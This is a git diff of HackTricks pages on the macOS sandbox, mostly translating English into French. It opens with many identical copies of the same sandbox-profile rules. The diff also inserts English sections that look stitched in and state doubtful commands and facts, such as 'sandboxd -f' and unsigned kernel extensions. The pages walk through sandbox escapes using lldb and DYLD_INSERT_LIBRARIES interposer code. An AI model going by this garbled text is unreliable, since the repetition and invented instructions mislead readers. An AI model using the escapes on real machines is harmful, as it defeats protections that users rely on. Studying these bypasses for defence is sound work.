file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write ```scheme (version 1) (deny default) (allow file* (literal "/tmp/hacktricks.txt")) ``` -{% endcode %} - +{% endcode %} (This is a markdown tag and should not be translated) ```bash # This will fail because default is denied, so it cannot execute touch sandbox-exec -f touch.sb touch /tmp/hacktricks.txt @@ -173,7 +698,6 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last 2023-05-26 13:42:52.701382+0200 localhost kernel[0]: (Sandbox) 5 duplicate reports for Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /var [...] ``` - {% code title="touch2.sb" %} ```scheme (version 1) @@ -188,8 +712,6 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs ; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / ``` -{% endcode %} - {% code title="touch3.sb" %} ```scheme (version 1) @@ -204,43 +726,40 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Note that the **Apple-authored** **software** that runs on **Windows** **doesn’t have additional security precautions**, such as application sandboxing. +Notez que le **logiciel** **développé par Apple** qui s'exécute sur **Windows** **n'a pas de précautions de sécurité supplémentaires**, telles que l'application de sandbox. {% endhint %} -Bypasses examples: +Exemples de contournement : * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (they are able to write files outside the sandbox whose name starts with `~$`). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (ils sont capables d'écrire des fichiers en dehors de la sandbox dont le nom commence par `~$`). -### Debug & Bypass Sandbox +### Débogage et contournement de la sandbox -**Processes are not born sandboxed on macOS: unlike iOS**, where the sandbox is applied by the kernel before the first instruction of a program executes, on macOS **a process must elect to place itself into the sandbox.** +**Les processus ne naissent pas sandboxés sur macOS : contrairement à iOS**, où la sandbox est appliquée par le noyau avant la première instruction d'un programme, sur macOS **un processus doit élire de se placer dans la sandbox.** -Processes are automatically Sandboxed from userland when they start if they have the entitlement: `com.apple.security.app-sandbox`. For a detailed explanation of this process check: +Les processus sont automatiquement sandboxés depuis l'espace utilisateur lorsqu'ils démarrent s'ils ont l'attribution : `com.apple.security.app-sandbox`. Pour une explication détaillée de ce processus, consultez : {% content-ref url="macos-sandbox-debug-and-bypass.md" %} [macos-sandbox-debug-and-bypass.md](macos-sandbox-debug-and-bypass.md) {% endcontent-ref %} -### **Check PID Privileges** +### **Vérifier les privilèges PID** -[According to this](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), the **`sandbox_check`** (it's a `__mac_syscall`), can check **if an operation is allowed or not** by the sandbox in a certain PID. - -The [**tool sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) can check if a PID can perform a certain action: +[Selon cela](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (c'est un `__mac_syscall`), peut vérifier **si une opération est autorisée ou non** par la sandbox dans un certain PID. +L'outil [**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) peut vérifier si un PID peut effectuer une certaine action : ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` +### Profils SBPL personnalisés dans les applications de l'App Store -### Custom SBPL in App Store apps - -It could be possible for companies to make their apps run **with custom Sandbox profiles** (instead of with the default one). They need to use the entitlement **`com.apple.security.temporary-exception.sbpl`** which needs to be authorized by Apple. - -It's possible to check the definition of this entitlement in **`/System/Library/Sandbox/Profiles/application.sb:`** +Il est possible pour les entreprises de faire fonctionner leurs applications avec des **profils Sandbox personnalisés** (au lieu du profil par défaut). Elles doivent utiliser l'entitlement **`com.apple.security.temporary-exception.sbpl`** qui doit être autorisé par Apple. +Il est possible de vérifier la définition de cet entitlement dans **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -248,17 +767,16 @@ It's possible to check the definition of this entitlement in **`/System/Library/ (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` - -This will **eval the string after this entitlement** as an Sandbox profile. +Cela **évaluera la chaîne après cette autorisation** en tant que profil Sandbox.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass.md index 416d3507c..8bef61b17 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass.md @@ -1,37 +1,37 @@ -# macOS Sandbox Debug & Bypass +# Débogage et contournement du bac à sable macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Sandbox loading process +## Processus de chargement du bac à sable -

Image from http://newosxbook.com/files/HITSB.pdf

+

Image de http://newosxbook.com/files/HITSB.pdf

-In the previous image it's possible to observe **how the sandbox will be loaded** when an application with the entitlement **`com.apple.security.app-sandbox`** is run. +Dans l'image précédente, il est possible d'observer **comment le bac à sable sera chargé** lorsqu'une application avec l'entitlement **`com.apple.security.app-sandbox`** est exécutée. -The compiler will link `/usr/lib/libSystem.B.dylib` to the binary. +Le compilateur liera `/usr/lib/libSystem.B.dylib` au binaire. -Then, **`libSystem.B`** will be calling other several functions until the **`xpc_pipe_routine`** sends the entitlements of the app to **`securityd`**. Securityd checks if the process should be quarantine inside the Sandbox, and if so, it will be quarentine.\ -Finally, the sandbox will be activated will a call to **`__sandbox_ms`** which will call **`__mac_syscall`**. +Ensuite, **`libSystem.B`** appellera d'autres fonctions jusqu'à ce que **`xpc_pipe_routine`** envoie les entitlements de l'application à **`securityd`**. Securityd vérifie si le processus doit être mis en quarantaine à l'intérieur du bac à sable, et si c'est le cas, il sera mis en quarantaine.\ +Enfin, le bac à sable sera activé par un appel à **`__sandbox_ms`** qui appellera **`__mac_syscall`**. -## Possible Bypasses +## Possibles contournements -### Run binary without Sandbox +### Exécuter un binaire sans bac à sable -If you run a binary that won't be sandboxed from a sandboxed binary, it will **run within the sandbox of the parent process**. +Si vous exécutez un binaire qui ne sera pas mis en bac à sable à partir d'un binaire mis en bac à sable, il **s'exécutera dans le bac à sable du processus parent**. -### Debug & bypass Sandbox with lldb +### Débogage et contournement du bac à sable avec lldb -Let's compile an application that should be sandboxed: +Compilons une application qui devrait être mise en bac à sable : {% tabs %} {% tab title="sand.c" %} @@ -43,7 +43,68 @@ int main() { ``` {% endtab %} -{% tab title="entitlements.xml" %} +{% tab title="sandbox-exec.c" %} + +## macOS Sandbox Debug and Bypass + +### Debugging + +#### Debugging with `sandbox-exec` + +The `sandbox-exec` command can be used to debug a sandbox profile. To do so, we need to create a profile that allows us to execute a shell and then run `sandbox-exec` with that profile. For example, the following profile allows us to execute a shell and access the network: + +``` +(version 1) +(deny default) +(allow process-exec (regex "^/bin/bash$")) +(allow file-read* (regex #"^/usr/share/locale/.*")) +(allow file-read* (regex #"^/usr/share/nls/.*")) +(allow file-read* (regex #"^/usr/share/zoneinfo/.*")) +(allow file-read* (regex #"^/etc/localtime$")) +(allow file-read* (regex #"^/etc/nsswitch.conf$")) +(allow file-read* (regex #"^/etc/resolv.conf$")) +(allow file-read* (regex #"^/etc/services$")) +(allow file-read* (regex #"^/etc/hosts$")) +(allow network*) +``` + +We can save this profile to a file called `debug.sb` and then run `sandbox-exec` with it: + +``` +$ sandbox-exec -f debug.sb /bin/bash +``` + +This will start a shell with the sandbox profile applied. We can then use the shell to run commands and see which ones are allowed or denied by the sandbox. + +#### Debugging with `sandboxd` + +The `sandboxd` daemon is responsible for enforcing sandbox profiles. We can use the `sandboxd` command to start a new instance of the daemon with a specific profile. For example, the following command starts a new instance of `sandboxd` with the `debug.sb` profile: + +``` +$ sudo sandboxd -f debug.sb +``` + +This will start a new instance of `sandboxd` with the `debug.sb` profile applied. We can then use the `sandbox-exec` command to execute commands within the sandbox. + +### Bypassing + +#### Bypassing with `sandbox-exec` + +The `sandbox-exec` command can be used to bypass a sandbox profile by specifying a different profile or by disabling the sandbox altogether. For example, the following command starts a shell with the `debug.sb` profile, but also allows us to access the file system: + +``` +$ sandbox-exec -f debug.sb -n -p '(deny file-read*) (allow file-read* (regex #"^/"))' /bin/bash +``` + +This command starts a shell with the `debug.sb` profile, but also adds a new rule that allows us to read any file on the file system. The `-n` option disables the default profile, and the `-p` option adds a new profile to the sandbox. + +#### Bypassing with `sandboxd` + +The `sandboxd` daemon can be bypassed by modifying the system's sandbox configuration files. These files are located in the `/usr/share/sandbox` directory and define the default sandbox profiles for various system processes. + +For example, the `com.apple.WebKit.WebContent.sb` file defines the sandbox profile for the `WebKit` process. We can modify this file to disable certain sandbox restrictions or to add new rules that allow us to bypass the sandbox altogether. + +However, modifying these files requires root privileges and can potentially break system functionality. It should only be done as a last resort and with extreme caution. ```xml @@ -55,6 +116,84 @@ int main() { {% endtab %} {% tab title="Info.plist" %} + +# Debugging + +## Debugging a Sandbox + +When a process is running inside a sandbox, it is not possible to attach a debugger to it. However, there are some techniques to debug a sandboxed process: + +### ptrace + +ptrace is a system call that allows a process to trace another process. This system call is blocked by the sandbox, but there are some ways to bypass it. One of them is to use a kernel extension that disables the sandbox. Another one is to use a vulnerability to escape the sandbox and then use ptrace. + +### dyld\_insert\_library + +dyld\_insert\_library is a function that allows a process to load a dynamic library into another process. This function is also blocked by the sandbox, but there are some ways to bypass it. One of them is to use a kernel extension that disables the sandbox. Another one is to use a vulnerability to escape the sandbox and then use dyld\_insert\_library. + +### Xcode + +Xcode is an integrated development environment (IDE) for macOS. It includes a debugger that can be used to debug sandboxed processes. To use Xcode to debug a sandboxed process, you need to: + +1. Open Xcode. +2. Go to File > New > Project. +3. Select "Command Line Tool" and click "Next". +4. Enter a name for the project and select a directory to save it. +5. Click "Create". +6. Go to Product > Scheme > Edit Scheme. +7. Select "Run" from the left panel. +8. Select "Info" from the top panel. +9. Select "Debug executable" from the "Launch" dropdown. +10. Enter the path to the sandboxed executable in the "Executable" field. +11. Click "Close". +12. Go to Product > Run. + +Xcode will launch the sandboxed process and attach the debugger to it. + +## Debugging a Sandbox Escape + +When a sandbox escape is used to gain root privileges, it is possible to attach a debugger to any process running as root. To do this, you need to: + +1. Open Terminal. +2. Type "sudo debugserver -f /path/to/executable pid" (replace "/path/to/executable" with the path to the executable you want to debug and "pid" with the process ID of the executable). +3. Open Xcode. +4. Go to File > New > Project. +5. Select "Command Line Tool" and click "Next". +6. Enter a name for the project and select a directory to save it. +7. Click "Create". +8. Go to Product > Scheme > Edit Scheme. +9. Select "Run" from the left panel. +10. Select "Info" from the top panel. +11. Select "Debug executable" from the "Launch" dropdown. +12. Enter the path to the executable in the "Executable" field. +13. Click "Close". +14. Go to Product > Run. + +Xcode will launch the executable and attach the debugger to it. + +## Bypassing a Sandbox + +There are some techniques to bypass a sandbox: + +### Vulnerabilities + +If there is a vulnerability in the sandbox, it can be used to escape it. There are many types of vulnerabilities that can be used to escape a sandbox, such as memory corruption vulnerabilities, logic vulnerabilities, and configuration vulnerabilities. + +### Kernel Extensions + +Kernel extensions can be used to disable the sandbox. However, kernel extensions are not signed by default on macOS, so they cannot be loaded unless the user disables System Integrity Protection (SIP). + +### Code Injection + +Code injection can be used to bypass a sandbox by injecting code into a process that is running outside the sandbox. There are many techniques to inject code into a process, such as dyld\_insert\_library, mach\_inject, and mach\_override. + +### Environment Variables + +Environment variables can be used to bypass a sandbox by changing the behavior of a process. For example, the DYLD\_INSERT\_LIBRARY environment variable can be used to load a dynamic library into a process. + +### Configuration Files + +Configuration files can be used to bypass a sandbox by changing the behavior of a process. For example, the Info.plist file can be used to specify entitlements that are not allowed by the sandbox. ```xml @@ -68,7 +207,7 @@ int main() { {% endtab %} {% endtabs %} -Then compile the app: +Ensuite, compilez l'application : {% code overflow="wrap" %} ```bash @@ -83,16 +222,14 @@ codesign -s --entitlements entitlements.xml sand {% endcode %} {% hint style="danger" %} -The app will try to **read** the file **`~/Desktop/del.txt`**, which the **Sandbox won't allow**.\ -Create a file in there as once the Sandbox is bypassed, it will be able to read it: - +L'application va essayer de **lire** le fichier **`~/Desktop/del.txt`**, que le **Sandbox n'autorisera pas**.\ +Créez un fichier là-bas car une fois que le Sandbox est contourné, il pourra le lire: ```bash echo "Sandbox Bypassed" > ~/Desktop/del.txt ``` {% endhint %} -Let's debug the chess application to see when is the Sandbox loaded: - +Déboguons l'application d'échecs pour voir quand le Sandbox est chargé: ```bash # Load app in debugging lldb ./sand @@ -169,29 +306,27 @@ Process 2517 resuming Sandbox Bypassed! Process 2517 exited with status = 0 (0x00000000) ``` - {% hint style="warning" %} -**Even with the Sandbox bypassed TCC** will ask the user if he wants to allow the process to read files from desktop +Même si le Sandbox est contourné, TCC demandera à l'utilisateur s'il souhaite autoriser le processus à lire des fichiers depuis le bureau. {% endhint %} -### Abusing other processes +### Abus d'autres processus -If from then sandbox process you are able to **compromise other processes** running in less restrictive sandboxes (or none), you will be able to escape to their sandboxes: +Si vous êtes capable de **compromettre d'autres processus** fonctionnant dans des Sandboxes moins restrictives (ou sans Sandboxes), vous pourrez vous échapper vers leurs Sandboxes : {% content-ref url="../../macos-proces-abuse/" %} [macos-proces-abuse](../../macos-proces-abuse/) {% endcontent-ref %} -### Interposting Bypass +### Contournement d'interposition -For more information about **Interposting** check: +Pour plus d'informations sur l'**interposition**, consultez : {% content-ref url="../../mac-os-architecture/macos-function-hooking.md" %} [macos-function-hooking.md](../../mac-os-architecture/macos-function-hooking.md) {% endcontent-ref %} -#### Interpost `_libsecinit_initializer` to prevent the sandbox - +#### Interposer `_libsecinit_initializer` pour éviter le Sandbox ```c // gcc -dynamiclib interpose.c -o interpose.dylib @@ -215,8 +350,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand _libsecinit_initializer called Sandbox Bypassed! ``` - -#### Interpost `__mac_syscall` to prevent the Sandbox +#### Interposer `__mac_syscall` pour éviter le Sandbox {% code title="interpose.c" %} ```c @@ -251,7 +385,6 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut }; ``` {% endcode %} - ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand @@ -263,36 +396,33 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87 __mac_syscall invoked. Policy: Sandbox, Call: 4 Sandbox Bypassed! ``` +### Compilation statique et liaison dynamique -### Static Compiling & Dynamically linking +[Cette recherche](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) a découvert deux façons de contourner le bac à sable. Étant donné que le bac à sable est appliqué depuis l'espace utilisateur lorsque la bibliothèque **libSystem** est chargée, si un binaire pouvait éviter de la charger, il ne serait jamais mis en bac à sable : -[**This research**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) discovered 2 ways to bypass the Sandbox. Because the sandbox is applied from userland when the **libSystem** library is loaded. If a binary could avoid loading it, it would never get sandboxed: - -* If the binary was **completely statically compiled**, it could avoid loading that library. -* If the **binary wouldn't need to load any libraries** (because the linker is also in libSystem), it won't need to load libSystem. +* Si le binaire était **complètement compilé de manière statique**, il pourrait éviter de charger cette bibliothèque. +* Si le **binaire n'avait pas besoin de charger de bibliothèques** (car le lien est également dans libSystem), il n'aurait pas besoin de charger libSystem. ### Shellcodes -Note that **even shellcodes** in ARM64 needs to be linked in `libSystem.dylib`: - +Notez que **même les shellcodes** en ARM64 doivent être liés dans `libSystem.dylib`: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` +### Abus des emplacements de démarrage automatique -### Abusing Austo Start Locations +Si un processus sandboxé peut **écrire** dans un emplacement où **plus tard une application non sandboxée va exécuter le binaire**, il pourra **s'échapper simplement en y plaçant** le binaire. Un bon exemple de ce type d'emplacements sont `~/Library/LaunchAgents` ou 